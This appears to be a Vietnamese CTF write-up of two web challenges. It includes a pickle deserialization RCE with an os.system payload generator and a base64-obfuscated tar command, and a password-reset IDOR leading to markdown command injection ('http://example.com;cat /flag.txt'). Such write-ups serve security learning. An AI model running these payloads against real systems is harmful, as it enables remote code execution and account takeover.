# CTF 14/15 ## Pickleball ```python! @app.route("/process", methods=["GET", "POST"]) def process(): if "username" not in session: return redirect(url_for("login")) error = None disassembled_output = None banned_patterns = [b"\\", b"static", b"templates", b"flag.txt", b">", b"/", b"."] banned_instruction = "REDUCE" if request.method == "POST": payload = request.form.get("payload", "") try: decoded_data = base64.b64decode(payload) for pattern in banned_patterns: if pattern in decoded_data: raise ValueError("Payload contains banned characters!") try: output = io.StringIO() pickletools.dis(decoded_data, out=output) disassembled_output = output.getvalue() if banned_instruction in disassembled_output: raise ValueError( f"Payload contains banned instruction: {banned_instruction}" ) except Exception as e: disassembled_output = "Error!" pickle.loads(decoded_data) except Exception as e: error = str(e) return render_template( "process.html", error=error, disassembled_output=disassembled_output ) ``` - đoạn code dùng pickle để deserialize dữ liệu đầu vào của người dùng - và có blacklist 1 số từ khóa - gen payload https://github.com/shafdo/pickle-payload-gen-python3 ```python! #!/bin/python3 import pickle,base64,os,sys try: if(sys.argv[1] == "--help" or sys.argv[1] == "-h"): print("""\nUSAGE\n=====\n./pickle-payload-gen.py <payload>\n""") sys.exit() command = sys.argv[1] except IndexError: print("\n[-] No payload specified sticking with default payload => id\n") command = "id" class PAYLOAD(): def __reduce__(self): return os.system, ("{}".format(command),) b64Encoded = base64.b64encode(pickle.dumps(PAYLOAD(), protocol=0)).decode("utf-8") print("Payload (Base64) => {}".format(b64Encoded)) ``` ### test local ![image](https://hackmd.io/_uploads/r1QjqCK4yl.png) ![image](https://hackmd.io/_uploads/B18NcCtE1l.png) ![image](https://hackmd.io/_uploads/rJFr5AtNJl.png) ### khai thác web ![image](https://hackmd.io/_uploads/SyiLmL9Vkl.png) - xóa bỏ dấu "." để không bị ban trong blacklist và mình gửi request ![image](https://hackmd.io/_uploads/rkgdmL94yx.png) - sau đó truy cập ```http://3ada52375b5f3f47b8af70804b123d15.chall.w1playground.com:8082/static/css/flag``` để lấy flag ![image](https://hackmd.io/_uploads/r1gEQI9V1g.png) flag: ```W1{do_you_wanna_play_pickleball?_fabe024ba700d99bf696871da940cdb3}``` ```python! import pickle import base64 opcode=b'''(cos system S'tar -cf $(echo "L2FwcC9zdGF0aWMvY3NzL2ZsYWcudGFyIC9mbGFn"|base64 -d)' o''' #pickle.loads(opcode) print(base64.b64encode(opcode).decode()) ``` 1. Định nghĩa dữ liệu opcode: - Dữ liệu opcode là một chuỗi byte chứa một payload được viết bằng Pickle, một module trong Python dùng để serialize và deserialize dữ liệu. ```python! (cos system S'tar -cf $(echo "L2FwcC9zdGF0aWMvY3NzL2ZsYWcudGFyIC9mbGFn"|base64 -d)' o ``` - Import module os (Pickle dùng ký hiệu cos để gọi os). - Gọi hàm system của module os với tham số chuỗi lệnh ```python! tar -cf $(echo "L2FwcC9zdGF0aWMvY3NzL2ZsYWcudGFyIC9mbGFn"|base64 -d) ``` - Chuỗi L2FwcC9zdGF0aWMvY3NzL2ZsYWcudGFyIC9mbGFn khi giải mã Base64 thành: ```python! /app/static/css/flag.tar /flag ``` Dòng mã pickle.loads(opcode) (hiện bị bình luận): Nếu dòng mã này được kích hoạt, nó sẽ giải nén chuỗi Pickle và thực thi lệnh os.system. Hành động thực thi: Tệp nén flag.tar sẽ được tạo ra. Cảnh báo bảo mật: Pickle không an toàn nếu dùng dữ liệu không tin cậy, vì nó có thể thực thi bất kỳ mã Python nào. Encode chuỗi Pickle thành Base64: Dòng print(base64.b64encode(opcode).decode()) chuyển đổi payload Pickle thành chuỗi Base64 để dễ dàng nhúng hoặc gửi đi qua mạng. Kết quả của chuỗi Base64: ```python! KGNvcwppc3lzdGVtClMnJ3RhciAtY2YgJChlY2hvICJMMkZ3Y0M5emRHSmhiblJrYjNKdUwyWmxaV3R5WjJ4dmJtRnRaU0EyT1dKbFkiCWJhc2U2NCAtZCkKbwpwMAo= ``` ## web_armaxis (HTB) - đăng ký tài khoản và đăng nhaaoj với mail của user test ![image](https://hackmd.io/_uploads/HJyWItTVyg.png) ![image](https://hackmd.io/_uploads/B186PY6E1g.png) - thực hiện reset password ![image](https://hackmd.io/_uploads/r1tWOt6E1l.png) ![image](https://hackmd.io/_uploads/BJwfuta4Jg.png) - token to reset your password: ```af1a33bfaac6f2bf8fe71a4b5ee7432d``` ![image](https://hackmd.io/_uploads/By4cOYpVke.png) - thấy có bị lỗi idor tại chức năng này khi chỉ phân biệt user qua email bởi hàm ```getUserByEmail``` mà không kiểm tra token trong cookie - khiến chúng ta có thể tận dụng reset password của user tùy ý trong hệ thống ```javascript! router.post("/reset-password", async (req, res) => { const { token, newPassword, email } = req.body; // Added 'email' parameter if (!token || !newPassword || !email) return res.status(400).send("Token, email, and new password are required."); try { const reset = await getPasswordReset(token); if (!reset) return res.status(400).send("Invalid or expired token."); const user = await getUserByEmail(email); if (!user) return res.status(404).send("User not found."); await updateUserPassword(user.id, newPassword); await deletePasswordReset(token); res.send("Password reset successful."); } catch (err) { console.error("Error resetting password:", err); res.status(500).send("Error resetting password."); } }); ``` ![image](https://hackmd.io/_uploads/B1r8KKTVJg.png) - em đặt lại mật khẩu của admin ![image](https://hackmd.io/_uploads/B133dKT4Je.png) ![image](https://hackmd.io/_uploads/SJXcYY6E1g.png) - đăng nhập thành công vào tài khoản admin ![image](https://hackmd.io/_uploads/SkXTFFTV1x.png) ```javascript! router.post("/weapons/dispatch", authenticate, async (req, res) => { const { role } = req.user; if (role !== "admin") return res.status(403).send("Access denied."); const { name, price, note, dispatched_to } = req.body; if (!name || !price || !note || !dispatched_to) { return res.status(400).send("All fields are required."); } try { const parsedNote = parseMarkdown(note); await dispatchWeapon(name, price, parsedNote, dispatched_to); res.send("Weapon dispatched successfully."); } catch (err) { console.error("Error dispatching weapon:", err); res.status(500).send("Error dispatching weapon."); } }); ``` - có sử dụng hàm ```parseMarkdown``` có gọi đến ```execSync``` cho phép tạo tiến trình con thực hiện lệnh hệ thống - dữ liệu trả về sẽ được base64 và cho vào trong thẻ img ```javascript! function parseMarkdown(content) { if (!content) return ''; return md.render( content.replace(/\!\[.*?\]\((.*?)\)/g, (match, url) => { try { const fileContent = execSync(`curl -s ${url}`); const base64Content = Buffer.from(fileContent).toString('base64'); return `<img src="data:image/*;base64,${base64Content}" alt="Embedded Image">`; } catch (err) { console.error(`Error fetching image from URL ${url}:`, err.message); return `<p>Error loading image: ${url}</p>`; } }) ); } ``` ![image](https://hackmd.io/_uploads/SkqxnYTNyl.png) ![image](https://hackmd.io/_uploads/rk4UhKpNJg.png) - dữ liệu chuyền vào hàm ```parseMarkdown``` chính lấy từ param ```note``` ![image](https://hackmd.io/_uploads/SJIIl9aVyx.png) - trong đó đoạn mã sẽ in tất cả URL mà regex tìm được trong nội dung Markdown. ```javascript! content.replace(/\!\[.*?\]\((.*?)\)/g, (match, url) => { console.log('Found URL:', url); return match; // Trả lại nội dung không thay đổi }); ``` - em thử với payload ```![Injected](http://example.com;id)``` và trigger thành công ![image](https://hackmd.io/_uploads/B1QExc6VJg.png) ![image](https://hackmd.io/_uploads/B16xeqaEye.png) - sau đó vào lấy flag với payload ```![Injected](http://example.com;cat /flag.txt)``` ![image](https://hackmd.io/_uploads/SJS0Zq64Jg.png) ![image](https://hackmd.io/_uploads/r1y8-9TVkg.png)